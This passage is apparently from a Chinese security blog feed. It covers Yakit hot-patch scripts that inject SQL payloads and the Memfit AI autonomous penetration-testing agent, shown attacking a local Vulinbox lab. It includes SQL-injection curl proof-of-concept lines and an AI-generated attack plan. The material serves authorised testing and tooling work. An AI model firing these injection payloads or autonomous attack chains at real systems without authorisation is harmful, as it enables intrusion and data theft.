style="color:#393A34">.</span><span class="token plain">keyword </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> KEYWORD_MARKER </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">keyword </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> SQLI_PAYLOAD</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">dumps</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">afterRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token plain">str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> `</span><span class="token string-literal singleline string" style="color:#e3116c">"row_count"</span><span class="token plain">`</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">loads</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"row_count"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">row_count </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"X-Yak-Module-Hit"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"pipeline-sqli"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>这时候 pipeline 才真正成立，把两层脚本叠起来之后，请求和响应链路就变成了：</p>
<div class="language-shell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">请求方向：</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Global beforeRequest</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-&gt; 自动取 bootstrap</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-&gt; 自动补 X-Pipeline-*</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-&gt; Module beforeRequest</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-&gt; 把 keyword 从占位符改成真实 payload</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">响应方向：</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Global afterRequest</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-&gt; 先把 AES-CBC 响应解成明文</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-&gt; Module afterRequest</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-&gt; 再对明文 row_count 做命中判断</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="yakit演示">Yakit演示<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#yakit%E6%BC%94%E7%A4%BA" class="hash-link" aria-label="Yakit演示的直接链接" title="Yakit演示的直接链接" translate="no">​</a></h2>
<p>到这里为止，脚本已经准备好了。下面就是实际启用步骤。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="1启用-global-hotpatch">1、启用 Global HotPatch<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#1%E5%90%AF%E7%94%A8-global-hotpatch" class="hash-link" aria-label="1、启用 Global HotPatch的直接链接" title="1、启用 Global HotPatch的直接链接" translate="no">​</a></h3>
<p>在 Yakit 里进入全局热加载模板管理页面：</p>
<p>1、新建模板</p>
<p>2、名称可以写成 <code>vulinbox-pipeline-global</code></p>
<p>3、类型选择全局热加载</p>
<p>4、把上面的 Global 脚本粘进去</p>
<p>5、保存并启用</p>
<p>启用之后，这个脚本会先于模块级 HotPatch 执行。</p>
<p>也就是说，同一条请求命中 hotpatch 链路时，顺序是：</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">全局热加载 -&gt; 模块 HotPatch</span><br></span></code></pre></div></div>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/e9ba3b8dce4aa3f2-463bcd212ff263994d598d9f4f67895d.png" width="1080" height="751" class="yakdoc-image"></button></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2启用模块-hotpatch">2、启用模块 HotPatch<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#2%E5%90%AF%E7%94%A8%E6%A8%A1%E5%9D%97-hotpatch" class="hash-link" aria-label="2、启用模块 HotPatch的直接链接" title="2、启用模块 HotPatch的直接链接" translate="no">​</a></h3>
<p>ITM 中的情况如下：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/ce293c3f53761905-7617bd7367dd540d5f1b2fa4aa5546b5.png" width="1080" height="385" class="yakdoc-image"></button></p>
<blockquote>
<p>注意页面中的 ，全局热加载(已启动)-&gt;MITM热加载(已启动) 标志</p>
</blockquote>
<p>Webfuzzer 中的情况如下：</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/vYzIXAIQXlmuQD8Mb8xZyw" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>热加载</category>
            <category>加密对抗</category>
        </item>
        <item>
            <title><![CDATA[技术研究：Memfit AI 生产级自主渗透测试 Agent 架构]]></title>
            <link>https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture</link>
            <guid>https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture</guid>
            <pubDate>Fri, 13 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文拆解 Memfit AI 自主渗透测试 Agent 的任务规划、ReAct 执行、动态调度、记忆窗口、审阅与报告链路，并用授权测试过程展示长任务运行方式。]]></description>
            <content:encoded><![CDATA[<p>听起来是不是非常玄学？</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="背景">背景<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E8%83%8C%E6%99%AF" class="hash-link" aria-label="背景的直接链接" title="背景的直接链接" translate="no">​</a></h2>
<p>自动化渗透这个事儿做了很多年了。众所周知，大多数方案的路子基本就两条：要么是固定脚本跑一遍 -- 能扫到的漏洞都是预设好的模式匹配；要么用 LLM 做一个 Agent 去"规划"渗透流程，但通常跑不了十分钟就开始迷路，重复做同样的事情，或者干脆忘了之前发现了什么。</p>
<p>我们团队在这个方向上折腾了几个月，目标很明确：让 AI 能像一个真人渗透测试工程师那样持续工作，跑几个小时，遇到意外会调整策略，做完了还能告诉你它干了什么、怎么干的、证据在哪。</p>
<p>Memfit AI 是我们 Yak Project 团队推出的一个生产环境 Ready 的新产品。它可以用作全自动的安全渗透测试 Agent，给它一个目标 URL，它就能像真正的渗透测试工程师一样，自主规划、执行、迭代攻击链路。（当然也可以做别的用户，我们在这里以“渗透测试”这个老大难题作为起点，为大家介绍这个新的项目）。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="从任务执行器开始">从任务执行器开始<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E4%BB%8E%E4%BB%BB%E5%8A%A1%E6%89%A7%E8%A1%8C%E5%99%A8%E5%BC%80%E5%A7%8B" class="hash-link" aria-label="从任务执行器开始的直接链接" title="从任务执行器开始的直接链接" translate="no">​</a></h2>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1c46833dacd7c54a-3a395c0b4ed06318e6b1b9d4b2b2e139.png" width="840" height="494" class="yakdoc-image"></button></p>
<p>架构设计上，Memfit AI 采用了任务执行器（Task Executor） 作为核心运行引擎。它负责实际的渗透动作执行——包括端口扫描、指纹识别、漏洞探测、PoC 验证、甚至后渗透阶段的操作。整个执行过程对用户完全透明，所有子任务的执行逻辑和实时状态都可以在界面上直接查看。更重要的是，用户可以随时介入——这不是一个"放出去就收不回来"的自动化工具，而是一个人机协同的渗透测试伙伴。你可以在任何阶段暂停、调整策略、补充信息，然后让 AI 继续工作。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="灵活随机应变动态规划">灵活随机应变：动态规划<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E7%81%B5%E6%B4%BB%E9%9A%8F%E6%9C%BA%E5%BA%94%E5%8F%98%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92" class="hash-link" aria-label="灵活随机应变：动态规划的直接链接" title="灵活随机应变：动态规划的直接链接" translate="no">​</a></h2>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/43f34f3b129b548c-fe472bc7b629003a16f7aa30a9908fd9.png" width="840" height="465" class="yakdoc-image"></button></p>
<p>传统的 LLM Agent 渗透方案最大的痛点是跑着跑着就忘了自己在干嘛。** 上下文窗口一满，之前发现的关键信息就丢了；遇到一个分支路径，就一头扎进去回不来了。我们的解决方案是引入了任务动态规划（Dynamic Task Planning） 机制。它不是一开始就定死一套渗透流程，而是像真正的渗透测试工程师一样：</p>
<ul>
<li class="">
<p>自动拆分子任务：拿到目标 URL 后，AI 会先进行信息收集，然后根据收集到的结果（开放端口、Web 指纹、目录结构等）动态生成下一步的子任务列表。</p>
</li>
<li class="">
<p>实时调整策略：如果某条攻击路径走不通，AI 不会死磕，而是回溯到上一层，重新评估其他可能的攻击面。</p>
</li>
<li class="">
<p>上下文记忆不丢失：这也是 "Memfit"（Memory + Fit）名字的由来——通过特殊的记忆管理机制，确保 AI 在长时间运行（几个小时）的过程中，关键发现和决策上下文不会因为上下文窗口限制而丢失。</p>
</li>
</ul>
<p>这篇文章分享一下目前这个项目的进展和核心技术思路。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="打开文件夹看看">打开文件夹看看<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E6%89%93%E5%BC%80%E6%96%87%E4%BB%B6%E5%A4%B9%E7%9C%8B%E7%9C%8B" class="hash-link" aria-label="打开文件夹看看的直接链接" title="打开文件夹看看的直接链接" translate="no">​</a></h2>
<p>Talk is cheap，先看东西。</p>
<p>笔者让 Memfit AI 对一个本地的 Vulinbox 靶场（127.0.0.1:8787）执行一次完整的渗透测试。跑完之后，打开工作目录：</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">10350_penetration_test_127_0_0_1_878_20260310_e5df9/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">├── evidence/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">├── exploit/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">├── recon/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">├── report/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">├── vuln/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   ├── sql_injection.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   ├── xss.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   └── ssrf.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">├── task_1-1_crawl_web_attack_surface/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   ├── tool_calls/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   │   └── 1_simple_crawler_crawl_vulinbox_attack_surface.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   ├── task_1_1_result_summary.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   └── task_1_1_timeline_diff.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">├── task_1-3_verify_sqli_vulns/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   ├── tool_calls/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   │   ├── 1_do_http_request_sqli_baseline_user_id.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   │   ├── 2_do_http_request_sqli_quote_test_user_id.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   │   ├── ...</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   │   └── 15_write_file_create_sqli_vuln_report.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   ├── task_1_3_result_summary.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   └── task_1_3_timeline_diff.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">├── task_1-5_verify_ssrf_vulns/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   ├── tool_calls/   (11 个工具调用记录)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">│   └── ...</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└── task_plan-task/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    └── loop_plan_action_calls/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        ├── 1_scan_port.md</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        └── 2_plan.md</span><br></span></code></pre></div></div>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1eb6b6a00a8f5795-28542456407801f1e645711c1372c2d7.png" width="840" height="556" class="yakdoc-image"></button></p>
<p>这个目录结构是 AI 自己创建的。evidence/、vuln/、exploit/、recon/、report/ -- 标准的渗透测试项目组织方式。每个 task_x-x_* 文件夹对应一个执行过的子任务，里面有工具调用记录、时间线和结果摘要。</p>
<p>打开 vuln/sql_injection.md，这是 AI 自己生成的漏洞报告：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/850c26d71db5d748-deffac0f8cd5403ebbabb0079be0291a.png" width="1054" height="333" class="yakdoc-image"></button></p>
<p>报告⾥带了完整的 PoC：</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain"># 基础注⼊验证</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">curl "http://127.0.0.1:8787/user/id?id=1'"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"># 预期响应: unrecognized token: "';"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"># 布尔条件测试</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">curl "http://127.0.0.1:8787/user/name?name=admin' AND 1=1-- -"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">curl "http://127.0.0.1:8787/user/name?name=admin' AND 1=2-- -"</span><br></span></code></pre></div></div>
<p>每个端点的测试矩阵（基线、单引号、Union Select、布尔盲注、时间盲注）、风险分析、修复建议，全部齐备。</p>
<p>这些不是人写的。是 AI 自己执行了 15 次 HTTP 请求，分析响应差异，判断注入类型，最后写成结构化报告的。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/b1ea43321ca25894-9bcde90a6505b3cf14c2114139f68231.png" width="840" height="1252" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="任务规划先扫描再出方案">任务规划：先扫描再出方案<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E4%BB%BB%E5%8A%A1%E8%A7%84%E5%88%92%E5%85%88%E6%89%AB%E6%8F%8F%E5%86%8D%E5%87%BA%E6%96%B9%E6%A1%88" class="hash-link" aria-label="任务规划：先扫描再出方案的直接链接" title="任务规划：先扫描再出方案的直接链接" translate="no">​</a></h2>
<p>AI 拿到目标后做的第一件事不是盲目开扫，是先做端口扫描，拿到基础信息，然后生成一份执行计划。</p>
<p>这份计划长这样（从 task_plan-task/loop_plan_action_calls/2_plan.md 中提取）：</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token property" style="color:#36acaa">"main_task"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"对127.0.0.1:8787 Vulinbox靶场进⾏完整渗透测试"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token property" style="color:#36acaa">"main_task_goal"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"完成系统化渗透测试，覆盖信息收集、Web侦察、漏洞验证全流程"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token property" style="color:#36acaa">"tasks"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"使⽤爬⾍⼯具收集Web应⽤的URL结构和攻击⾯"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"创建渗透测试项⽬标准⽬录结构"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"针对SQL注⼊场景构造请求验证漏洞"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"使⽤爬⾍⼯具收集Web应⽤的URL结构和攻击⾯"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"针对XSS场景构造请求验证漏洞"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"使⽤爬⾍⼯具收集Web应⽤的URL结构和攻击⾯"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"针对SSRF场景构造请求验证漏洞"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"..."</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"验证⽂件上传接⼝的安全漏洞"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"..."</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"验证Fastjson反序列化漏洞"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"..."</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">     </span><span class="token punctuation" style="color:#393A34">{</span><span class="token property" style="color:#36acaa">"subtask_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"验证Shiro框架的安全漏洞"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token property" style="color:#36acaa">"depends_on"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"..."</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" 